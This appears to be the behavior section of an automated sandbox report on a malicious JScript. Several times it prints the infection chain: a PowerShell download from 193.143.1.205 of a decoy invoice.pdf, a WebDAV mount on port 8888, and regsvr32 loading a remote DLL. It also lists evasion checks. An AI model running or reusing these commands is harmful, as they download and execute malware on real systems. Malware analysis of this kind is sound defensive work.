Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7089.js.csv");ITextStream.WriteLine(" entry:7635 f:fcfcxovb");ITextStream.WriteLine(" exec:2 f:fcfcxovb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49763

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4728			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5134			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 4728 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 5134 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8052	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1460	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1418414245.0000020955A4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2637167515.000002A593655000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2635946862.000002A58E22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
